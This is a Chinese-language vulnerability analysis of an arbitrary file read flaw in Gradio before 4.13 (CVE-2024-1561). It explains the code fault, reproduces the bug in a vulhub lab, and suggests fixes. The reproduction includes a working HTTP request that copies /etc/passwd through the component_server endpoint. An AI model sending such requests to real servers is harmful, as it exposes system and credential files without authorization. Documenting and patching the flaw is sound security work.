漏洞名称
Gradio任意文件读取(CVE-2024-1561)漏洞
漏洞描述
Gradio是一个Python库,允许用户无需编写前端代码即可为机器学习模型快速构建Web界面。
在Gradio 4.13版本之前,component_server
接口允许攻击者调用Component
类的任意方法。攻击者可以利用move_resource_to_block_cache
方法,将服务器上的任意文件复制到临时目录,并进一步读取其内容,从而实现任意文件读取
漏洞代码分析
该漏洞源于 component_server 端点未对 Component 类的方法调用进行权限校验,允许攻击者通过参数注入调用敏感方法。以下是漏洞涉及的代码层级:
当引用相关版本的Gradio库时,会产生漏洞
import gradio as gr
def greet(name):
return f"Hello {name}!"
iface = gr.Interface(fn=greet, inputs="text", outputs="text")
if __name__ == "__main__":
iface.launch(server_name="0.0.0.0", server_port=7860)
组件方法调用入口
#伪代码
class ComponentServer:
def handle_request(self, component_id, fn_name, data):
component = self.get_component(component_id)
method = getattr(component, fn_name) # 未校验方法名合法性
return method(data) # 直接执行攻击者指定的方法
文件复制方法(Block 类)
class Block:
def move_resource_to_block_cache(self, src_path):
tmp_dir = self._create_temp_dir() # 创建临时目录
dest_path = os.path.join(tmp_dir, os.path.basename(src_path))
shutil.copy(src_path, dest_path) # 无路径合法性校验
return dest_path
漏洞复现
使用vulhub靶场
请求/config,获取一个components_id
构造请求,将/etc/passwd复制到临时目录
POST /component_server HTTP/1.1
Host: 127.0.0.1:7860
Content-Type: application/json
{
"component_id": "3",
"data": "/etc/passwd",
"fn_name": "move_resource_to_block_cache",
"session_hash": "aaaaaaaaaaa"
}
通过返回的临时路径直接访问文件:
漏洞修复
仅允许特定安全方法被调用:
allowed_methods = ["函数白名单"]
if fn_name not in allowed_methods:
raise PermissionError("Method not allowed")
禁止操作非应用目录外的文件:
if not src_path.startswith(APP_STATIC_DIR):
raise SecurityError("Invalid file path")